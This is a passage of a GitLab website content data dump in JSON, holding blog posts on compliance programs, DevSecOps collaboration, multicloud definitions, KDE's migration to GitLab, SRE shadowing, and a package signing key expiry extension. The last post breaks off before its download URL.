Reviews","en-us/blog/challenges-of-code-reviews.yml","en-us/blog/challenges-of-code-reviews",{"_path":22928,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22929,"content":22934,"config":22939,"_id":22941,"_type":16,"title":22942,"_source":17,"_file":22943,"_stem":22944,"_extension":20},"/en-us/blog/compliance-made-easy",{"title":22930,"description":22931,"ogTitle":22930,"ogDescription":22931,"noIndex":6,"ogImage":10675,"ogUrl":22932,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22932,"schema":22933},"How to build a compliance program with ease","Compliance audits should not cause headaches. Learn how building compliance programs and carrying compliance audits effectively using GitLab.","https://about.gitlab.com/blog/compliance-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build a compliance program with ease\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Saumya Upadhyaya\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2020-07-02\",\n      }",{"title":22930,"description":22931,"authors":22935,"heroImage":10675,"date":22936,"body":22937,"category":8943,"tags":22938},[18837,902],"2020-07-02","The implimentation of a compliance program requires organizations to adopt processes that help comply with regulatory and legal requirements. GitLab makes it easy to wrestle the \"compliance beast\" but to understand what that really means it helps to take a look at this very complex and challenging area.\n\n## An effective compliance program: lots of moving parts\n\nCompliance processes are often costly, manual and cumbersome to implement and maintain. Even organizations that are advanced in compliance maturity still maintain compliance processes within spreadsheets, file storage systems (such as Google Drives or Dropbox) and emails, making wading through the documentation required to prove compliance extremely painful.\n\nFurther compounding this pain is the number of third party applications an organization uses to operate its business. The use of these tools and services add complexity because they’re all subject to the underlying policies and procedures the company has established. This means auditing not just your own organization’s processes, but those of your vendors.\n\nHowever, compliance is essential. With regulatory scrutiny being high, increasing cyber security breaches and the high costs of non compliance manifesting in the form of revenue loss, business disruptions, fines, damage to brand image, impacted stock prices and so on - the need for compliance is not lost on organizations. In fact, non compliance penalties [can be much lower](https://www.justice.gov/opa/pr/antitrust-division-announces-new-policy-incentivize-corporate-compliance) when an organization can demonstrate the presence of an effective compliance program.\n\n## Why is achieving an effective compliance program so difficult?\n\nIn spite of organizations acknowledging the importance of compliance, achieving an effective compliance program seems elusive.\n\nCurrently, there is a lot of administrative overhead associated with compliance. The task that gives most compliance professionals a headache is finding the documentation or evidence they need. With most organizations still using a combination of spreadsheets, drives and emails to manage their compliance programs and the added complexity of demonstrating compliance within their third-party tools or services, it is increasingly difficult for compliance teams to scale.\n\nIt can be even more daunting trying to keep track of the growing regulatory compliance requirements and internal controls to manage these requirements. In the cases where organizations have introduced additional Governance, Risk and Compliance (GRC) tools within their organizations, these tools are not integrated into their development and operational tools - thereby creating yet another compliance silo.\n\nDevelopment and operations teams perceive compliance-related activities as slowing down their velocity, creating an inherent friction with the compliance teams, thereby making compliance processes even slower and less effective.\n\n## Building your compliance program\n\nAny well defined compliance program requires internal controls that allow:\n\n1. Defining rules and policies aligned with your organizational or regulatory/legal requirements\n1. Generating and maintaining the evidence of policy adherence\n1. Enforcing the defined rules and policies\n1. Demonstrating compliance with easy-to-access and readable reports and evidence artifacts\n1. Ongoing risk assessments to detect and mitigate gaps in compliance\n\nAny compliance program that does not bring together all of these controls incurs the administrative overhead of maintenance. Organizations often run the risk of overspending on a disparate set of tools, creating data silos resulting in them being no better than when they started their compliance process.\n\n## GitLab makes compliance easy\n\nBeing a single application where developers, security and operations professionals congregate, GitLab is well positioned to automate your compliance processes to answer questions that may arise from your auditors or leadership teams.\n\n1. With [granular user roles and permissions](https://docs.gitlab.com/ee/user/permissions.html), GitLab allows you to enforce segregation of duties. You can easily define your organization’s policies regarding credentials, security scanning, and rules for approvers. Granular permission control also allows you to enforce approvers for determining what goes into production\n1. With [application security](/solutions/security-compliance/) being part of the pipeline, GitLab helps you to automate your information security compliance requirements\n1. GitLab helps you define [custom projects](https://docs.gitlab.com/ee/user/project/working_with_projects.html#project-templates) (such as HIPAA, SOX etc) to track adherence to various different compliance frameworks in a single place. Within the projects, GitLab issues and merge requests are also the central places to collaborate, maintain documents, track chain of custody and overrides, without maintaining these on disparate tools. Additionally, you can define a common set of policies to be applied to a set of projects labeled with a specific compliance framework (such as HIPAA, SOX etc)\n1. You can meet the traceability requirements for audits - such as user actions, permission changes, approval changes, logins, password changes and so on via [Audit Events](https://docs.gitlab.com/ee/administration/audit_events.html)\n1. GitLab also provides a consolidated view of various compliance signals such as merge request approvals in the [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html). Going forward, this compliance dashboard aims to provide compliance insights in a consolidated view with all relevant signals such as segregation of duties, framework compliance, license compliance, pipeline and MR results. The compliance dashboard will continue to evolve to include more data to save compliance professionals time when managing their GitLab compliance posture.\n\nLearn more about our Compliance Solution [here](/solutions/compliance/).\n\n## What’s next\n\nOur [vision for Compliance Management](/direction/dev/#manage-1) is strong. Watch Matt Gonzales, Senior Product Manager for the compliance group, talk about our vision.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XFilPpXwVzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nConsider joining the [Compliance Special Interest Group](https://gitlab.com/gitlab-org/ux-research/-/issues/532) to help shape our direction for compliance management within GitLab.\n\n*Read more about compliance and GitLab:*\n\n[Compliance-as-code explained](/blog/get-started-compliance-as-code/)\n\n[How we chose our compliance framework](/blog/choosing-a-compliance-framework/)\n\n[Tracking agreements in GitLab just got easier](/blog/make-tracking-agreements-simple-compliance-dashboard/)\n\nCover image by joaosilas on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,754],{"slug":22940,"featured":6,"template":678},"compliance-made-easy","content:en-us:blog:compliance-made-easy.yml","Compliance Made Easy","en-us/blog/compliance-made-easy.yml","en-us/blog/compliance-made-easy",{"_path":22946,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22947,"content":22953,"config":22958,"_id":22960,"_type":16,"title":22961,"_source":17,"_file":22962,"_stem":22963,"_extension":20},"/en-us/blog/achieve-devsecops-collaboration",{"title":22948,"description":22949,"ogTitle":22948,"ogDescription":22949,"noIndex":6,"ogImage":22950,"ogUrl":22951,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22951,"schema":22952},"DevSecOps basics: 5 cross-functional team collaboration goals","Team work makes the (DevSecOps) dream work. Here's what you need to know about collaboration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663594/Blog/Hero%20Images/devsecops-cross-collaboration.jpg","https://about.gitlab.com/blog/achieve-devsecops-collaboration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps basics: 5 cross-functional team collaboration goals\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-07-01\",\n      }",{"title":22948,"description":22949,"authors":22954,"heroImage":22950,"date":22955,"body":22956,"category":8943,"tags":22957},[22656],"2020-07-01","\n_This is the second in a five-part series on getting started with [DevSecOps](/solutions/security-compliance/). Part one gives you nine ways to [shift security left](/blog/efficient-devsecops-nine-tips-shift-left/). Part three offers concrete steps to add [automated security testing](/blog/devsecops-security-automation/) into the mix. And part four explains how to [build a strong security culture](/blog/security-culture-devsecops/) to support your DevSecOps efforts._\n\nCross-functional collaboration seems like a dry buzzword, but I promise you it’s way better than it sounds. After all, [DevOps](/topics/devops/) is cross-functional collaboration. DevSecOps is too. [In GitLab’s 2020 DevSecOps Survey](/developer-survey/), respondents had a plethora of strong reasons to do DevOps, including code quality, faster time to market, and _happier developers_.  But if there are rifts in communication and collaboration, any joint Dev, Sec, or Ops effort will all be for naught. \n\n[Collaboration](/blog/future-merge-requests-realtime-collab/) is a core principle of DevOps but it is even more critical when bringing a third element – security – into the mix. Team members should feel comfortable reaching out across functions, asking questions, and sharing (non-sensitive) information. DevSecOps brings a special meaning to collaboration because of the shift in roles and responsibilities introduced by new security efforts. [Shifting your security practices left](/blog/efficient-devsecops-nine-tips-shift-left/) will require some heavy lifting to truly get your DevSecOps practices off the ground.\n\n## Leading by example\n\nTo begin, leaders from each functional team need to gain a mutual understanding of the other teams’ functions, roadblocks, and goals. Then they should discuss how security will be integrated into dev and ops – both how the lifecycle will flow, and how employees will be onboarded to any new processes. The results of that discussion should be shared across the entire organization to put everyone on the same page. \n\nOrganizational heads will need to set an example for their teams. Employees should understand the collaborative work that is being done at the top, and how their own work is part of that effort. Additional expectations should also be communicated. These, as outlined below, should foster a collaborative environment that requires communication and reliability across teams. \n\n### Cross-functional team goals\n\nIt’s important to start with cross-functional team goals. These can be broad (like \"deliver a secure and stable product at every release\"), or specific (\"add extensive identity verification features while ensuring compliance with GDPR\"). Regardless of what the goal is, it should be made clear that employees across all functions are working together to achieve the same thing – and the cross-functional team will be evaluated as a whole. \n\n### Peer teaching and peer learning\n\nWhen security employees understand the function and goals of Dev and Ops, they’ll be able to give better guidance and instruction on how each role can produce secure work. On the other hand, when Dev and Ops understand the function and goals of security, they’ll find it more logical to incorporate new security practices into their day-to-day work. This way, employees will understand how their goals align with and benefit each other. Employees should be encouraged to help one another learn – and certainly should be encouraged to learn from each other with open minds. \n\n### Centralized information sharing\n\nFor the best possible [DevSecOps](/solutions/security-compliance/) experience, information needs to live and be shared in a central location – preferably [a single platform for the entire DevOps lifecycle](/stages-devops-lifecycle/). Ideally, the entire project team has access to all the information they need, all in the same place. This minimizes context-switching and reduces the likelihood of information getting lost or missed by team members. Keeping change logs, test and scan results, code reviews and other metrics colocated means everyone knows where to find the information they need to get their job done efficiently.  \n\n## DevSecOps: Five collaboration goals\n\nWhat does it look like to have strong collaboration across your teams? Qualitative principles are slightly harder to quantify than things like vulnerabilities, but there are plenty of ways to build your team's collaborative muscles and measure their strength:\n\n1. Project planning is a joint effort between Dev, Sec, and Ops. \n1. Employees have access and actively contribute to a single datastore with reporting and visibility across the DevSecOps lifecycle.\n1. Vulnerability management, reporting, and remediation will cost less and happen more quickly than before you began your DevSecOps efforts.\n1. Tools have been consolidated so that development and security can collaborate within the same interface. \n1. Project delays are rarely caused by lack of communication or information sharing. \n\n_How efficient are your DevSecOps practices? [Take our DevSecOps Maturity Assessment to find out.](https://about.gitlab.com/resources/devsecops-methodology-assessment/)_\n\n**Read more about DevSecOps:**\n\n[How CI can get you to DevSecOps faster](/blog/solve-devsecops-challenges-with-gitlab-ci-cd/)\n\n[Why security as code is important](/blog/how-to-security-as-code/)\n\n[How to integrate security into DevOps](/blog/how-to-security-as-code/)\n\nCover image by [Charlie Egan](https://unsplash.com/@charlieegan3) on [Unsplash](https://unsplash.com/photos/qOR762W7OvA)\n{: .note}\n",[1899,2368,4103,674],{"slug":22959,"featured":6,"template":678},"achieve-devsecops-collaboration","content:en-us:blog:achieve-devsecops-collaboration.yml","Achieve Devsecops Collaboration","en-us/blog/achieve-devsecops-collaboration.yml","en-us/blog/achieve-devsecops-collaboration",{"_path":22965,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22966,"content":22971,"config":22976,"_id":22978,"_type":16,"title":22979,"_source":17,"_file":22980,"_stem":22981,"_extension":20},"/en-us/blog/many-meanings-multicloud",{"title":22967,"description":22968,"ogTitle":22967,"ogDescription":22968,"noIndex":6,"ogImage":9234,"ogUrl":22969,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22969,"schema":22970},"Understand the many meanings of multicloud","In our 2020 DevSecOps Survey we uncovered a number of different definitions of 'multicloud.' Here's how to make sense of it all.","https://about.gitlab.com/blog/many-meanings-multicloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understand the many meanings of multicloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-06-30\",\n      }",{"title":22967,"description":22968,"authors":22972,"heroImage":9234,"date":22973,"body":22974,"category":8943,"tags":22975},[11618],"2020-06-30","\n\nWhat does multicloud mean? We've heard – and used – the term '[multicloud](/topics/multicloud/)' for a while now but, like most industry terms, it can be defined differently by different groups. So in our just released [2020 Global DevSecOps Survey](/developer-survey/) we asked 3652 people from 21 countries across 19 job categories what multicloud actually means to them.\n\nThe majority of respondents (36%) said multicloud means the ability to deploy some applications on Azure, some on AWS, and some on Google. Almost 35% said they thought it meant deploying applications across multiple cloud providers with different components on different clouds. And finally almost 29% said it meant being able to move an app from one cloud provider to another.\n\nIt got even more interesting when we asked them to describe how multicloud is used in their organizations. A clear majority aren't doing \"multicloud\" yet - their teams use one cloud provider only, or none at all. (For context, over 18% of survey respondents said their organizations are not currently using any cloud provider.)\n\n_We don't use multi cloud here. Not yet._\n\n_We will deploy to the cloud the customer requires. But the whole application sits on one cloud._\n\n_We don't, on purpose, because we do not subscribe to the vendor lock-in argument and therefore multi-cloud would require more resources than we feel it is worth._\n\nOthers took the term multicloud literally, saying their teams use several different platforms.\n\n_We have moved workloads from one provider to another to address performance issues._\n\n_Multiple clouds used for different purposes and some on prem hyperconverged thrown into the mix._\n\n_We use different cloud providers for different projects._\n\n_We use Digital Ocean + GCP + AWS_\n\nAnd some took multicloud further.\n\n_We're switching between providers while testing new functionalities for our innovative apps._\n\n_We built our own PaaS based on Kubernetes. This system could be deployed/provisioned on any K8S ready public cloud provider or to any other compatible hosting system._\n\n_For us \"multicloud\" means simultaneously using multiple cloud providers, not just ability to migrate apps between them._\n\n_We avoid vendor lock-in by being able to run on any cloud seamlessly_\n\n## Defining the stages of multicloud\n\nSo is there a single definition of multicloud? The answer is yes, but... Our CEO [Sid Sijbrandij](/company/team/#sytses) argues that multicloud isn't something static but rather a series of staged workflows that mean different things to organizations depending on where they are in their DevOps journey. His [maturity model](https://medium.com/gitlab-magazine/multi-cloud-maturity-model-2de185c01dd7) consists of seven stages, starting with everything on a single cloud and ending with true data portability in multiple clouds.\n\n[William Chia](/company/team/#williamchia), senior product marketing manager for cloud native and GitOps, suggests starting by asking the question \"Where are your workloads running?\" For many organizations the answer will be one workload is running on one cloud and another workload might be running in a different cloud – the team is using multiple clouds. This is an early stage of maturity on the journey to multicloud adoption. \n\nA team might want to be able to deploy the same workload to different clouds, a step that would help avoid vendor lock-in, provide backup coverage in case of failures, and perhaps offer some leverage that might help with costs, William explains. But there's a serious trade-off in that step because the engineering resources required to create a platform to deploy to multiple clouds are significant.\n\n\"The Utopian goal of getting to a place where you can have the same workloads on multiple clouds easily is not necessarily desirable for everyone or even the majority of people,\" William says. \"It costs a lot to do that and you need to have the engineering staff who understand both clouds. There's a high cost to multicloud.\"\n\nThe final stages of multicloud, which William says today represents just a small fraction of companies today, is where the same application is deployed to different clouds and workloads as well as data for can be dynamically shifted between multiple clouds. \n\nSo the often-used term \"multicloud\" does legitimately have evolving definitions and that will likely continue as DevOps matures. One step on the multicloud journey that unlocks powerful benefits with little overhead is the jump to [work***flow*** portability](/topics/multicloud/). While most companies aren't close to the highest reaches of multicloud maturity, almost any company can get started down the path. It's clear that the best implementations take into consideration the tradeoffs and choose right amount of multicloud for the task at hand.\n\n**Read more about multicloud:**\n\n[Leverage GitLab CI/CD to get the most out of multicloud](/blog/gitlab-ci-cd-is-for-multi-cloud/)\n\n[The role cloud-agnostic DevOps can play](/blog/ci-cd-the-ticket-to-multicloud/)\n\n[Seven best practices for multicloud security](/blog/multi-cloud-security/)\n",[1207,8570,4103],{"slug":22977,"featured":6,"template":678},"many-meanings-multicloud","content:en-us:blog:many-meanings-multicloud.yml","Many Meanings Multicloud","en-us/blog/many-meanings-multicloud.yml","en-us/blog/many-meanings-multicloud",{"_path":22983,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22984,"content":22990,"config":22995,"_id":22997,"_type":16,"title":22998,"_source":17,"_file":22999,"_stem":23000,"_extension":20},"/en-us/blog/welcome-kde",{"title":22985,"description":22986,"ogTitle":22985,"ogDescription":22986,"noIndex":6,"ogImage":22987,"ogUrl":22988,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22988,"schema":22989},"Why the KDE community is #movingtogitlab","Open source software community giant KDE finished phase one of their migration to GitLab and has joined our GitLab open source program. Check out what's next for KDE and GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681382/Blog/Hero%20Images/migratingbirds.jpg","https://about.gitlab.com/blog/welcome-kde","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why the KDE community is #movingtogitlab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nuritzi Sanchez\"}],\n        \"datePublished\": \"2020-06-29\",\n      }",{"title":22985,"description":22986,"authors":22991,"heroImage":22987,"date":22992,"body":22993,"category":813,"tags":22994},[18895],"2020-06-29","\n\nThe [KDE community](https://kde.org/) is [#movingtogitlab](https://twitter.com/hashtag/movingtogitlab)! After announcing the original decision to migrate to GitLab in November 2019, KDE has officially completed phase one of their migration, and contributors have begun to use GitLab on a daily basis at invent.kde.org. Read on to learn more about KDE's migration story.\n\n## About KDE\n\nKDE is an international community that creates open source software for desktops and mobile devices. KDE software is compatible with multiple platforms, including GNU/Linux, FreeBSD, Windows, macOS, and Android. Their products are used by millions of home and office workers and are being deployed in schools around the world.\n\nWith more than 2,700 artists, designers, programmers, translators, writers, and other contributors from across the globe, the KDE community is thriving.\n\nTogether, this community creates and maintains more than 200 applications and countless add-ons, plugins, and Plasmoids, 1000+ repositories, 80+ frameworks for Qt developers, and more than 2,600 projects. KDE software is translated into more than 100 languages to enable vast global reach.\n\n## Why KDE moved to GitLab\n\nOne of the main reasons that KDE decided to move to GitLab is to improve the newcomers story and make it easier to start contributing to KDE software. As [Aleix Pol](https://ev.kde.org/corporate/board/), President of KDE e.V says, \"Adopting GitLab has been a natural next step for us. Simplifying the onboarding experience for new contributors is one of our main goals in the KDE community. Being able to allow project contributors to easily participate in how the products they maintain are tested and delivered will certainly be a turning point for our ecosystem.\"\n\n\"By using a platform offering an interface and workflow that most open source developers are nowadays familiar with, we are confident that we are lowering the bar for new contributors to join us, and are providing the foundation for our community to scale in the following years,\" added [Neofytos Kolokotronis](https://ev.kde.org/corporate/board/), member of KDE e.V.'s Board of Directors and a core member of KDE's Onboarding team.\n\nAnother important consideration for the KDE community was to move to a product that was well-supported and where feedback from the community would be taken into account. With a release every month, GitLab has fast-paced development and is actively maintained by the company and community alike. Community members help to shape the way the product is built, and there's an [open roadmap](/direction/) since [transparency is one of GitLab's core values](https://handbook.gitlab.com/handbook/values/#transparency).\n\nMoving to new tools is a lot of work for established communities like KDE. Migration decisions require careful communication and the complex task of gathering community consensus.\n\nThe KDE team made the decision to migrate away from its [former tech stack](https://gitlab.com/gitlab-org/gitlab/-/issues/24900#gitlab-replacements) after following a series of carefully designed steps. First, they talked to the sysadmin team and then formed a migration team to evaluate the move. Next, the sysadmin team completed a thorough study of GitLab's features and did an intake and comparison of the community's needs against those product features. Then, they created a process that allows KDE to run short test cycles with some projects, document the process, and provide feedback to the community.\n\nThe migration started by moving some smaller and more agile KDE teams that were very interested in testing and providing feedback. After this cycle was completed successfully, KDE started migrating teams with a larger codebase and more contributors. Once all of the major issues were resolved, they made the final switch for all remaining projects they planned to move. The sysadmin team documented the results after each step and shared them directly with the KDE community to receive feedback and gather consensus on how to proceed.\n\nAs the switch to GitLab fell directly under the scope of KDE's [\"Streamlined Onboarding of New Contributors\" goal](https://community.kde.org/Goals/Streamlined_onboarding_of_new_contributors), the KDE Onboarding team was also involved from the start, working very closely with the sysadmin team, who were leading the effort. The community was involved in the decision-making from the beginning, and stayed up-to-date on each phase of the migration, and all questions and concerns were answered and addressed along the way.\n\n\"This was a major change for us, but we are very satisfied with how our community collaborated over long discussion threads. We believe that by working together we made the best decisions as we moved forward,\" says Neofytos.\n\n## Migration challenges and solutions\n\nThe biggest challenge for KDE was the sheer volume of data they were dealing with and how it was integrated into the numerous tools in use (including [Phabricator](https://www.phacility.com/phabricator/)). With more than 1,000 repositories, this migration was a big undertaking.\n\nTo address this challenge, KDE decided to approach the migration in phases rather than do it all at once. By phasing the migration, they were able to deal with different data types, such as repositories and tasks, separately.\n\nKDE developed custom tools to make bulk updates easier throughout the migration process. These tools help set the name, description, and avatar of the projects alongside a number of settings, for example, protected branches, and merge methods. By using these custom tools for bulk updates, KDE was also able to avoid granting maintainer access to individual contributors. KDE only allows maintainer access for sysadmins per their access and permissions policy.\n\nKDE ported custom Git hooks to ensure that certain checks and actions continued after the move to Gitlab. These include checks to ensure file encodings match KDE requirements and that bugs on their Bugzilla installation were closed as needed.\n\nIn order to support their translation community, which still uses Subversion in their workflow, KDE also built tooling to export SSH keys from GitLab to avoid the need to update these in two places.\n\nKDE also adjusted the tools used to build and develop KDE software to make them compatible with the new repository structure in GitLab.\n\nAt this point, KDE overcame most of their migration hurdles. Once the preparation work was finished to clean up a number of systems to work more natively with GitLab, the actual migration took about one day.\n\nBut there are a few more challenges left before KDE can transition continuous integration (CI) and task management over to GitLab. To follow along with the KDE migration, you can take a look at the [list of issues that KDE is tracking](https://gitlab.com/gitlab-org/gitlab/-/issues/26581).\n\n## Architectural decisions\n\nA common challenge for organizations moving to GitLab is deciding how to structure their groups to best enable their community's workflows and allow them to abide by their policies.\n\nKDE decided to tackle this challenge by setting up a series of groups at the top level of GitLab to act as categories. KDE's 1,200 repositories were then sorted into each of these categories.\n\nKDE formed this architectural strategy to help make projects more discoverable. KDE wanted to avoid the impracticality of people needing to scroll endlessly through repositories. Setting up top-level categories also allows developers to get an easier overview of merge requests for the categories they are most interested in.\n\nWith regards to permissions, KDE uses a single master \"KDE Developers\" group to manage membership and permission levels. Everyone there is given \"Developer\" access. This group is then invited to all of the groups containing repositories except for the ones containing the KDE website and infrastructure repos. This method of dealing with permissions allows KDE to maintain a single source of truth.\n\n## GitLab + KDE = ❤️\n\nKDE is using the [Community Edition](/install/ce-or-ee/) of GitLab because of their commitment to open source. They are a member of our [GitLab for Open Source](/solutions/open-source/) program, and have been actively collaborating with GitLab team members throughout the migration. One of benefits of using the GitLab for Open Source program for large migration efforts is that the community often offers some extra assistance through the evaluation period and beyond.\n\nFor example, the GitLab for Open Source program has a [public tracker for KDE's migration](https://gitlab.com/gitlab-org/gitlab/-/issues/24900), which is used to communicate and better understand at a glance the issues that are especially important. This allows KDE, GitLab, and the larger open source community to collaborate on challenges together.\n\n\"GitLab's values of [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and [transparency](https://handbook.gitlab.com/handbook/values/#transparency) really shine through,\" says Neofytos. We appreciate their openness to accepting merge requests from community members and considering proposals for new features. We have had a great experience so far collaborating with members of the GitLab community and members of the GitLab team – from developers to program managers to product owners alike.\"\n\nNow that phase one of the KDE migration is complete, we look forward to continuing to collaborate with KDE through the remaining phases of the migration.\n\n### Summary of the KDE migration\n\n * Phase 1: Code hosting & review ✅\n * Phase 2: CI\n * Phase 3: Task management for developers\n\n## How to contribute to KDE\n\nKDE has an amazing community and they welcome new members! Existing members are happy to provide feedback on newcomers' contributions with the goal of helping them learn. Every day more and more people join the ever-growing KDE family – and there's always room for more!\n\nKDE has a rich infrastructure of web resources, forums, mailing-lists, IRC (chat), and many other ways to get in touch. To learn more about joining the KDE community, visit their \"[Get Involved](https://community.kde.org/Get_Involved)\" page, which offers guidance to all contributors from all backgrounds.\n\n",[815,4772,4103],{"slug":22996,"featured":6,"template":678},"welcome-kde","content:en-us:blog:welcome-kde.yml","Welcome Kde","en-us/blog/welcome-kde.yml","en-us/blog/welcome-kde",{"_path":23002,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23003,"content":23009,"config":23014,"_id":23016,"_type":16,"title":23017,"_source":17,"_file":23018,"_stem":23019,"_extension":20},"/en-us/blog/7-things-ive-learnt-while-shadowing-sre",{"title":23004,"description":23005,"ogTitle":23004,"ogDescription":23005,"noIndex":6,"ogImage":23006,"ogUrl":23007,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23007,"schema":23008},"7 things I’ve learnt while shadowing an SRE","What I learned while participating in the SRE shadow program.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683837/Blog/Hero%20Images/sre-shadow.jpg","https://about.gitlab.com/blog/7-things-ive-learnt-while-shadowing-sre","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 things I’ve learnt while shadowing an SRE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Olena Horal-Koretska\"}],\n        \"datePublished\": \"2020-06-25\",\n      }",{"title":23004,"description":23005,"authors":23010,"heroImage":23006,"date":23012,"body":23013,"category":18484},[23011],"Olena Horal-Koretska","2020-06-25","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nOne of the benefits of being a part of the [Monitor:Health group](/handbook/engineering/development/ops/monitor/respond/) is that each team member is given the opportunity to shadow Site Reliability Engineers (SREs) for one week - allowing engineers to be involved in an SREs day-to-day activities. This is a good experience for our team because we are working on building Incident Management into GitLab. More specifically, shadowing an SRE gives team members a better understanding about what tools are typically used and why they are important. This understanding helps the team build better features in support of the Incident Management vision (Alert Management, Error Tracking, [Status Page](https://about.gitlab.com/blog/how-we-built-status-page-mvc/)).\n\nAt first, I wasn’t really excited about participating in the SRE shadow program. I only had a vague understanding of why it would interest or be beneficial to me. Though as it happened, shadowing an SRE turned out to be an invaluable experience. Seeing an SRE in action is fascinating and opens the door to a whole new world of site infrastructure. It is certainly worth exploring. Though for now, I wanted to share just a couple of revelations I saw during my week as an SRE shadow here at GitLab:\n\n1. Incidents = bugs in site infrastructure. The primary goal of the infrastructure team is to avoid having incidents and foresee any situation when an incident can occur. For instance, observing that resource usage is growing constantly for a specific service - infrastructure team plans service scaling rather than wait for a saturation caused incident to happen.\n2. Spikes in service activity or resource usage (that can be visible in visualization tools, like Grafana, Kibana) are normal and expected. An increase in user traffic results in an increase in error responses. Or another example: the user has a cronjob which causes a spike in a number of jobs and consequently a growth in `sidekiq` scheduling time.\n3. The infrastructure team is responsible for using resources wisely i.e. adding 50 CPUs to a VM running PostgreSQL will help certain use cases because there is an individual process per each client connection. On the other hand, it would not be effective to add more CPUs to VM running Redis as a means to improve performance, as Redis is single-threaded. That would not be a good use of money.\n4. [SRE-on-call](/handbook/on-call/#site-reliability-engineers-sres) can veto rolling out infrastructure or other changes if there are any ongoing incidents in order not to aggravate the situation.\n5. All systems are interconnected so an alert being raised on a specific service doesn’t mean that the issue belongs to that service. It actually means that it is the service that has failed as a result. To find the actual error an SRE needs to spend time tracking the logs, debugging, etc.\n6. Interestingly, most incidents are primarily reported by [Prometheus](https://docs.gitlab.com/ee/administration/monitoring/prometheus/) alerting or by internal teams and very rarely by customers.\n7. A GitLab SRE's job is not just fixing GitLab in times of crisis and responding to incidents. Their full-time job is supporting and developing the GitLab infrastructure. [SRE-on-call](/handbook/on-call/#site-reliability-engineers-sres) is dedicated to responding to incidents for a specific period of time.\n\nTo wrap up, SRE shadowing experience turned out to be a very useful one and gave me a fresh perspective on things we’re building as Monitor:Health team and certainty that GitLab infrastructure is in reliable hands with the SREs.\n\nCover image by [Tom Barrett](https://unsplash.com/@wistomsin) on [Unsplash](https://unsplash.com/photos/hvvRg72aXCw)\n{: .note}\n",{"slug":23015,"featured":6,"template":678},"7-things-ive-learnt-while-shadowing-sre","content:en-us:blog:7-things-ive-learnt-while-shadowing-sre.yml","7 Things Ive Learnt While Shadowing Sre","en-us/blog/7-things-ive-learnt-while-shadowing-sre.yml","en-us/blog/7-things-ive-learnt-while-shadowing-sre",{"_path":23021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23022,"content":23027,"config":23033,"_id":23035,"_type":16,"title":23036,"_source":17,"_file":23037,"_stem":23038,"_extension":20},"/en-us/blog/package-key-extension",{"title":23023,"description":23024,"ogTitle":23023,"ogDescription":23024,"noIndex":6,"ogImage":17364,"ogUrl":23025,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23025,"schema":23026},"GitLab extends package signing key expiration to 2022","Our GPG key will now expire on July 1, 2021. Here's what you need to know.","https://about.gitlab.com/blog/package-key-extension","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab will extend package signing key expiration by one year\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gerard Hickey\"}],\n        \"datePublished\": \"2020-06-25\",\n      }",{"title":23028,"description":23024,"authors":23029,"heroImage":17364,"date":23012,"body":23031,"category":674,"tags":23032},"GitLab will extend package signing key expiration by one year",[23030],"Gerard Hickey","\n\nGitLab has a GPG key used to sign all Omnibus packages created within the [CI\npipelines](/blog/guide-to-ci-cd-pipelines/). This key is set to expire on 2020-07-01 and will be extended to\nexpire on 2021-07-01.\n\n## Why is this being done?\n\nThe package signing key is set to a yearly expiration time to limit the exposure\nshould the key be compromised and to comply with GitLab security practices.\nGenerating a new key each year is much more obtrusive than continually extending\nthe expiration time.\n\n## What do I need to do?\n\nThe only action that needs to be taken is to update your copy of the package\nsigning key _if_ you validate the signatures on the Omnibus packages that GitLab\ndistributes.\n\nThe package signing key is not the key that signs the repository metadata\nused by the OS package managers like `apt` or `yum`. Unless you are specifically\nverifying the package signatures or have configured your package manager to verify\nthe package signatures, there is no action needed on your part to continue\ninstalling Omnibus packages.\n\nMore information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures)\ncan be found in the Omnibus documentation. If you just need to refresh a copy\nof the public key, then you can find it on any of the GPG keyservers by\nsearching for support@gitlab.com or using the key ID of\n`DBEF 8977 4DDB 9EB3 7D9F  C3A0 3CFC F9BA F27E AB47`. Alternatively you could\ndownload it directly from packages.gitlab.com using the URL:\n\n    